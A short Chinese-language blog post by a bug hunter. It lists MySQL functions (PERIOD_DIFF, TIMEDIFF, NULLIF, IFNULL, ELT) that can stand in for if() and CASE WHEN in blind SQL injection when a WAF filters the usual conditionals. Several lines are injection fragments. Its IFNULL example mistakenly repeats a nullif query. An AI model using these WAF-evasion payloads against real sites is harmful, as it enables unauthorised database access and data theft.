最近疫情搞的有些emo了,一直在被隔離,寫點東西記錄下吧
最近一直沒學習,一直在挖漏洞,說點mysql sql注入挖掘tips吧
先來常見的
(1)if:
SELECT if(1=1,1,0)
(2)case when:
SELECT case when 1=1 then 1 else 0 end
這是常見的,一般條件判斷用這兩個是最多的,如果waf/程序處理了這些條件判斷,我們還可以注入嗎?
答:可以的
來點非常規的:
(3):PERIOD_DIFF ,時間函數 需要配合xor/or/and
為真,返回0,不為真返回其他數字
跑注入的用法如下:
and 1=PERIOD_DIFF(ascii(1),*) and 1=PERIOD_DIFF(ascii(1),*)
(4)TIMEDIFF 和PERIOD_DIFF函數類似
select TIMEDIFF(ascii(1),49)
(5):NULLIF 個人比較喜歡用這個
如果兩個數,比較結果為真,那么返回null,否則返回第一個表達式
select nullif(ascii(1),49)
(6) IFNULL 和NULLIF函數類似:
解釋:假如expr1不為NULL,則 IFNULL() 的返回值為expr1; 否則其返回值為 expr2。IFNULL()的返回值是數字或是字符串,具體情況取決於其所使用的語境。
select nullif(ascii(2),42)
(7)elt函數
解釋參考:
select elt('r'='r',1);
refer:phpoop,f0ng